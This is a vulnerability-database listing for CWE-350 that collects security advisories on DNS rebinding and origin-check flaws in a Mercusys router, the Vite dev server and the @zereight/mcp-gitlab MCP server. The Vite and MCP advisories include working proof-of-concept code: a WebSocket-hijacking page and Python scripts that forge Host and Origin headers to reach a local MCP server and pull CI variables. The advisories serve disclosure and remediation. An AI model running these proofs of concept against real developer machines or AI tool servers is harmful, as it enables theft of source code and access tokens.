Common Weakness Enumeration

CWE-350

Allowed

Reliance on Reverse DNS Resolution for a Security-Critical Action

Abstraction: Variant · Status: Draft

The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

63 vulnerabilities reference this CWE, most recent first.

GHSA-RV93-GGMG-88R9

Vulnerability from github – Published: 2026-06-03 18:33 – Updated: 2026-06-03 21:30
VLAI
Details

Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 does not validate the HTTP Host header, enabling DNS rebinding attacks. An external attacker can rebind a domain to the router's internal IP address, extending the CORS wildcard vulnerability (Access-Control-Allow-Origin: *) to internet-originated attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-36604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T18:16:21Z",
    "severity": "MODERATE"
  },
  "details": "Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 does not validate the HTTP Host header, enabling DNS rebinding attacks. An external attacker can rebind a domain to the router\u0027s internal IP address, extending the CORS wildcard vulnerability (Access-Control-Allow-Origin: *) to internet-originated attacks.",
  "id": "GHSA-rv93-ggmg-88r9",
  "modified": "2026-06-03T21:30:29Z",
  "published": "2026-06-03T18:33:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Tymbark7372/MERCUSYS-AC12G/blob/master/advisories/CVE-2026-36604.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VG6X-RCGG-RJX6

Vulnerability from github – Published: 2025-01-21 19:52 – Updated: 2025-02-07 17:38
VLAI
Summary
Websites were able to send any requests to the development server and read the response in vite
Details

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

[!WARNING] This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

  • Using the backend integration feature
  • Using a reverse proxy in front of Vite
  • Accessing the development server via a domain other than localhost or *.localhost
  • Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

  • fix the plugin / framework code to the make it compatible with the new version of Vite
  • set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
  • When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
  4. The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

  1. The attacker serves a malicious web page (http://malicious.example.com).
  2. The user accesses the malicious web page.
  3. The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page.
  4. The user edits some files.
  5. Vite sends some HMR messages over WebSocket.
  6. The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

  1. The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work).
  2. The user accesses the malicious web page.
  3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).
  4. The attacker sends a fetch('/main.js') request by JS in that malicious web page.
  5. The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact

[1]: Permissive default CORS settings

Users with the default server.cors option may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
  • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections

All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests

Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

  • get the source code stolen by malicious websites
  • give the attacker access to functionalities that are not supposed to be exposed externally
  • Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information

Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC

[2]: Lack of validation on the Origin header for WebSocket connections

  1. I used the react template which utilizes HMR functionality.
npm create vite@latest my-vue-app-react -- --template react
  1. Then on a malicious server, serve the following POC html:
<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>
  1. Kick off Vite
npm run dev
  1. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser.
  2. Edit src/App.jsx file and intentionally place a syntax error
  3. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

https://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.4.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24010"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385",
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-21T19:52:55Z",
    "nvd_published_at": "2025-01-20T16:15:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nVite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.\n\n\u003e [!WARNING]\n\u003e This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.\n\n### Upgrade Path\nUsers that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.\n\n- Using the backend integration feature\n- Using a reverse proxy in front of Vite\n- Accessing the development server via a domain other than `localhost` or `*.localhost`\n- Using a plugin / framework that connects to the WebSocket server on their own from the browser\n\n#### Using the backend integration feature\nIf you are using the backend integration feature and not setting [`server.origin`](https://vite.dev/config/server-options.html#server-origin), you need to add the origin of the backend server to the [`server.cors.origin`](https://github.com/expressjs/cors#configuration-options) option. Make sure to set a specific origin rather than `*`, otherwise any origin can access your development server.\n\n#### Using a reverse proxy in front of Vite\nIf you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than `localhost` or `*.localhost`, you need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if the reverse proxy is sending requests to `http://vite:5173`, you need to add `vite` to the `server.allowedHosts` option.\n\n#### Accessing the development server via a domain other than `localhost` or `*.localhost`\nYou need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if you are accessing the development server via `http://foo.example.com:8080`, you need to add `foo.example.com` to the `server.allowedHosts` option.\n\n#### Using a plugin / framework that connects to the WebSocket server on their own from the browser\nIf you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.\n\nIn that case, you can either:\n\n- fix the plugin / framework code to the make it compatible with the new version of Vite\n- set `legacy.skipWebSocketTokenCheck: true` to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite\n  - When enabling this option, **make sure that you are aware of the security implications** described in the impact section of [2] above.\n\n### Mitigation without upgrading Vite\n#### [1]: Permissive default CORS settings\nSet `server.cors` to `false` or limit `server.cors.origin` to trusted origins.\n\n#### [2]: Lack of validation on the Origin header for WebSocket connections\nThere aren\u0027t any mitigations for this.\n\n#### [3]: Lack of validation on the Host header for HTTP requests\nUse Chrome 94+ or use HTTPS for the development server.\n\n### Details\n\nThere are three causes that allowed malicious websites to send any requests to the development server:\n\n#### [1]: Permissive default CORS settings\n\nVite sets the [`Access-Control-Allow-Origin`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin) header depending on [`server.cors`](https://vite.dev/config/server-options.html#server-cors) option. The default value was `true` which sets `Access-Control-Allow-Origin: *`. This allows websites on any origin to `fetch` contents served on the development server.\n\nAttack scenario:\n\n1. The attacker serves a malicious web page (`http://malicious.example.com`).\n2. The user accesses the malicious web page.\n3. The attacker sends a `fetch(\u0027http://127.0.0.1:5173/main.js\u0027)` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that\u0027s not the case for the reasons above.\n4. The attacker gets the content of `http://127.0.0.1:5173/main.js`.\n\n#### [2]: Lack of validation on the Origin header for WebSocket connections\n\nVite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server [did not perform validation on the Origin header](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/src/node/server/ws.ts#L145-L157) and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection ([list of the file paths that changed, the file content where the errored happened, etc.](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/types/hmrPayload.d.ts#L12-L72)), but plugins can send arbitrary messages and may include more sensitive information.\n\nAttack scenario:\n\n1. The attacker serves a malicious web page (`http://malicious.example.com`).\n2. The user accesses the malicious web page.\n3. The attacker runs `new WebSocket(\u0027http://127.0.0.1:5173\u0027, \u0027vite-hmr\u0027)` by JS in that malicious web page.\n4. The user edits some files.\n5. Vite sends some HMR messages over WebSocket.\n6. The attacker gets the content of the HMR messages.\n\n#### [3]: Lack of validation on the Host header for HTTP requests\n\nUnless [`server.https`](https://vite.dev/config/server-options.html#server-https) is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.\n\n1. The attacker serves a malicious web page that is served on **HTTP** (`http://malicious.example.com:5173`) (HTTPS won\u0027t work).\n2. The user accesses the malicious web page.\n3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).\n4. The attacker sends a `fetch(\u0027/main.js\u0027)` request by JS in that malicious web page.\n5. The attacker gets the content of `http://127.0.0.1:5173/main.js` bypassing the same origin policy.\n\n### Impact\n#### [1]: Permissive default CORS settings\nUsers with the default `server.cors` option may:\n\n- get the source code stolen by malicious websites\n- give the attacker access to functionalities that are not supposed to be exposed externally\n  - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities.\n\n#### [2]: Lack of validation on the Origin header for WebSocket connections\nAll users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.\n\nFor users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.\n\nFor users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.\n\n#### [3]: Lack of validation on the Host header for HTTP requests\nUsers using HTTP for the development server and using a browser that is not Chrome 94+ may:\n\n- get the source code stolen by malicious websites\n- give the attacker access to functionalities that are not supposed to be exposed externally\n  - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities.\n\nChrome 94+ users are not affected for [3], because [sending a request to a private network page from public non-HTTPS page is forbidden](https://developer.chrome.com/blog/private-network-access-update#chrome_94) since Chrome 94.\n\n### Related Information\nSafari has [a bug that blocks requests to loopback addresses from HTTPS origins](https://bugs.webkit.org/show_bug.cgi?id=171934). This means when the user is using Safari and Vite is listening on lookback addresses, there\u0027s another condition of \"the malicious web page is served on HTTP\" to make [1] and [2] to work.\n\n### PoC\n#### [2]: Lack of validation on the Origin header for WebSocket connections\n1. I used the `react` template which utilizes HMR functionality.\n\n```\nnpm create vite@latest my-vue-app-react -- --template react\n```\n\n2. Then on a malicious server, serve the following POC html:\n```html\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n    \u003chead\u003e\n        \u003cmeta charset=\"utf-8\" /\u003e\n        \u003ctitle\u003evite CSWSH\u003c/title\u003e\n    \u003c/head\u003e\n    \u003cbody\u003e\n        \u003cdiv id=\"logs\"\u003e\u003c/div\u003e\n        \u003cscript\u003e\n            const div = document.querySelectorAll(\u0027#logs\u0027)[0];\n            const ws = new WebSocket(\u0027ws://localhost:5173\u0027,\u0027vite-hmr\u0027);\n            ws.onmessage = event =\u003e {\n                const logLine = document.createElement(\u0027p\u0027);\n                logLine.innerHTML = event.data;\n                div.append(logLine);\n            };\n        \u003c/script\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\n```\n\n3. Kick off Vite \n\n```\nnpm run dev\n```\n\n4. Load the development server (open `http://localhost:5173/`) as well as the malicious page in the browser. \n5. Edit `src/App.jsx` file and intentionally place a syntax error\n6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed\n\nHere\u0027s a video demonstrating the POC:\n\nhttps://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961",
  "id": "GHSA-vg6x-rcgg-rjx6",
  "modified": "2025-02-07T17:38:57Z",
  "published": "2025-01-21T19:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24010"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitejs/vite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Websites were able to send any requests to the development server and read the response in vite"
}

GHSA-VMP7-252J-CWP7

Vulnerability from github – Published: 2026-09-15 20:54 – Updated: 2026-09-15 20:54
VLAI
Summary
@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport
Details

@zereight/mcp-gitlab exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled Host and Origin. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.

This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is @zereight/mcp-gitlab version 2.1.18 at commit 74a8c834424ff557ad8bc6f225e4dc5acf80aa13.

The vulnerable transport setup is in index.ts. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:

// index.ts:12077
app.use(express.json());

registerDownloadProxy(app);

The Streamable HTTP transport is then created without the SDK DNS-rebinding controls:

// index.ts:12375
transport = new StreamableHTTPServerTransport({
  sessionIdGenerator: () => randomUUID(),
  onsessioninitialized: (newSessionId: string) => {
    streamableTransports[newSessionId] = transport;
    metrics.totalSessions++;
    metrics.activeSessions++;
  },
});

The transport constructor does not set enableDnsRebindingProtection, allowedHosts, or allowedOrigins. The server also does not add an Express middleware that rejects unexpected Host or Origin headers before /mcp.

The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:

// config.ts:192
export const HOST = getConfig("host", "HOST") || "127.0.0.1";

// config.ts:196
export const PORT = _intEnv("PORT", "port", _PORT_DEFAULT);

The README documents Streamable HTTP as a supported transport for modern remote deployments and documents REMOTE_AUTHORIZATION=true for multi-user HTTP deployments. In that mode, unauthenticated tools/list and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP initialize request instead of rejecting the connection as cross-origin localhost access.

Proof of concept

The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:

  • no-token initialize succeeds with attacker-controlled Host and Origin;
  • no-token tools/list is rejected with 401;
  • the same forged-origin flow with a planted Private-Token lists tools and calls list_project_variables;
  • the fake GitLab API records the forwarded token and returns a planted fake project variable.

Start the fake GitLab API:

python3 - <<'PY'
import json
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import parse_qs, urlparse

WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl"
PROJECT_ID = "pluto/rebind-target"
FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"

class Handler(BaseHTTPRequestHandler):
    def _json(self, status, payload):
        data = json.dumps(payload).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def _record(self):
        parsed = urlparse(self.path)
        with open(WITNESS, "a", encoding="utf-8") as f:
            f.write(json.dumps({
                "method": self.command,
                "path": parsed.path,
                "query": parse_qs(parsed.query),
                "authorization": self.headers.get("authorization"),
                "private_token": self.headers.get("private-token"),
                "job_token": self.headers.get("job-token"),
            }, sort_keys=True) + "\n")

    def do_GET(self):
        self._record()
        path = urlparse(self.path).path
        if path == "/health":
            self._json(200, {"status": "ok"})
            return
        if path.startswith("/api/v4/") and not (
            self.headers.get("authorization") or
            self.headers.get("private-token") or
            self.headers.get("job-token")
        ):
            self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"})
            return
        if path.endswith("/variables"):
            self._json(200, [{
                "key": "PRODUCTION_DEPLOY_TOKEN",
                "value": FAKE_SECRET,
                "protected": True,
                "masked": False,
            }])
            return
        self._json(200, {"ok": True, "path": path})

    def log_message(self, fmt, *args):
        return

ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever()
PY

In a second terminal, run the affected MCP server:

git clone https://github.com/zereight/gitlab-mcp.git
cd gitlab-mcp
git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13
npm install
npm run build

STREAMABLE_HTTP=true \
REMOTE_AUTHORIZATION=true \
HOST=127.0.0.1 \
PORT=8082 \
GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \
GITLAB_READ_ONLY_MODE=true \
GITLAB_TOOLSETS=issues,projects,repository,ci \
GITLAB_TOOLS=list_project_variables \
node build/index.js

In a third terminal, send MCP requests with attacker-controlled browser-origin headers:

python3 - <<'PY'
import json
import urllib.error
import urllib.request

TARGET = "http://127.0.0.1:8082/mcp"
REBIND_HOST = "attacker.example:8082"
ORIGIN = "http://" + REBIND_HOST
TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001"

def parse_rpc(text):
    stripped = text.strip()
    if stripped.startswith("{"):
        return [json.loads(stripped)]
    out = []
    for line in stripped.splitlines():
        line = line.strip()
        if line.startswith("data:"):
            out.append(json.loads(line[5:].strip()))
    return out

class Client:
    def __init__(self, token=None):
        self.sid = None
        self.token = token

    def post(self, body):
        headers = {
            "Content-Type": "application/json",
            "Accept": "application/json, text/event-stream",
            "Host": REBIND_HOST,
            "Origin": ORIGIN,
        }
        if self.token:
            headers["Private-Token"] = self.token
        if self.sid:
            headers["Mcp-Session-Id"] = self.sid
            headers["MCP-Protocol-Version"] = "2025-06-18"
        req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST")
        try:
            with urllib.request.urlopen(req, timeout=20) as res:
                sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id")
                if sid:
                    self.sid = sid
                text = res.read().decode("utf-8", "replace")
                return res.status, parse_rpc(text), text
        except urllib.error.HTTPError as exc:
            text = exc.read().decode("utf-8", "replace")
            return exc.code, parse_rpc(text), text

    def rpc(self, method, params=None, rid=1):
        body = {"jsonrpc": "2.0", "id": rid, "method": method}
        if params is not None:
            body["params"] = params
        status, messages, raw = self.post(body)
        for msg in messages:
            if msg.get("id") == rid:
                return status, msg, raw
        return status, {}, raw

    def initialized(self):
        self.post({"jsonrpc": "2.0", "method": "notifications/initialized"})

def initialize(client, rid):
    return client.rpc("initialize", {
        "protocolVersion": "2025-06-18",
        "capabilities": {},
        "clientInfo": {"name": "dns-rebind-check", "version": "1"},
    }, rid)

unauth = Client()
status, init, raw = initialize(unauth, 1)
print("unauth initialize:", status, "session:", unauth.sid)
unauth.initialized()
status, listed, raw = unauth.rpc("tools/list", {}, 2)
print("unauth tools/list:", status, raw[:200])

authed = Client(TOKEN)
status, init, raw = initialize(authed, 3)
print("token initialize:", status, "session:", authed.sid)
authed.initialized()
status, listed, raw = authed.rpc("tools/list", {}, 4)
tools = [tool["name"] for tool in listed["result"]["tools"]]
print("listed list_project_variables:", "list_project_variables" in tools)
status, called, raw = authed.rpc("tools/call", {
    "name": "list_project_variables",
    "arguments": {"project_id": "pluto/rebind-target"},
}, 5)
print(raw)
PY

Observed output:

unauth initialize: 200 session: <uuid>
unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."}
token initialize: 200 session: <uuid>
listed list_project_variables: True
[
  {
    "key": "PRODUCTION_DEPLOY_TOKEN",
    "value": "glpat-FAKE-PROJECT-CI-SECRET-0001",
    "protected": true,
    "masked": false
  }
]

The fake GitLab API witness records that the MCP server forwarded the token to the backend request:

{"authorization": null, "job_token": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "private_token": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}}

Impact

A malicious web page can reach a local @zereight/mcp-gitlab Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled Host and Origin headers. In the current remote-authorization mode, token checks block unauthenticated tools/list and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.

The confirmed impact is:

  • attacker-origin browser traffic reaches the local MCP initialize path;
  • server-side Host and Origin validation are absent on /mcp;
  • tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present;
  • GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.

Why this is a vulnerability, not intended behavior

  • The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for Host and Origin.
  • The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs StreamableHTTPServerTransport without enabling those controls and does not add an equivalent Express guard.
  • REMOTE_AUTHORIZATION=true protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.

Remediation

Enable the SDK DNS-rebinding protection on the Streamable HTTP transport:

transport = new StreamableHTTPServerTransport({
  sessionIdGenerator: () => randomUUID(),
  enableDnsRebindingProtection: true,
  allowedHosts: [
    `127.0.0.1:${PORT}`,
    `localhost:${PORT}`,
  ],
  allowedOrigins: [
    `http://127.0.0.1:${PORT}`,
    `http://localhost:${PORT}`,
  ],
  onsessioninitialized: (newSessionId: string) => {
    streamableTransports[newSessionId] = transport;
  },
});

Add an Express middleware before /mcp that rejects unexpected Host and Origin values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@zereight/mcp-gitlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-15T20:54:55Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "`@zereight/mcp-gitlab` exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim\u0027s local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.\n\nThis is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is `@zereight/mcp-gitlab` version `2.1.18` at commit `74a8c834424ff557ad8bc6f225e4dc5acf80aa13`.\n\nThe vulnerable transport setup is in `index.ts`. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:\n\n```typescript\n// index.ts:12077\napp.use(express.json());\n\nregisterDownloadProxy(app);\n```\n\nThe Streamable HTTP transport is then created without the SDK DNS-rebinding controls:\n\n```typescript\n// index.ts:12375\ntransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: () =\u003e randomUUID(),\n  onsessioninitialized: (newSessionId: string) =\u003e {\n    streamableTransports[newSessionId] = transport;\n    metrics.totalSessions++;\n    metrics.activeSessions++;\n  },\n});\n```\n\nThe transport constructor does not set `enableDnsRebindingProtection`, `allowedHosts`, or `allowedOrigins`. The server also does not add an Express middleware that rejects unexpected `Host` or `Origin` headers before `/mcp`.\n\nThe default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:\n\n```typescript\n// config.ts:192\nexport const HOST = getConfig(\"host\", \"HOST\") || \"127.0.0.1\";\n\n// config.ts:196\nexport const PORT = _intEnv(\"PORT\", \"port\", _PORT_DEFAULT);\n```\n\nThe README documents Streamable HTTP as a supported transport for modern remote deployments and documents `REMOTE_AUTHORIZATION=true` for multi-user HTTP deployments. In that mode, unauthenticated `tools/list` and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP `initialize` request instead of rejecting the connection as cross-origin localhost access.\n\n## Proof of concept\n\nThe following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:\n\n- no-token `initialize` succeeds with attacker-controlled `Host` and `Origin`;\n- no-token `tools/list` is rejected with `401`;\n- the same forged-origin flow with a planted `Private-Token` lists tools and calls `list_project_variables`;\n- the fake GitLab API records the forwarded token and returns a planted fake project variable.\n\nStart the fake GitLab API:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport json\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nfrom urllib.parse import parse_qs, urlparse\n\nWITNESS = \"/tmp/zereight-gitlab-mcp-rebind-witness.jsonl\"\nPROJECT_ID = \"pluto/rebind-target\"\nFAKE_SECRET = \"glpat-FAKE-PROJECT-CI-SECRET-0001\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def _json(self, status, payload):\n        data = 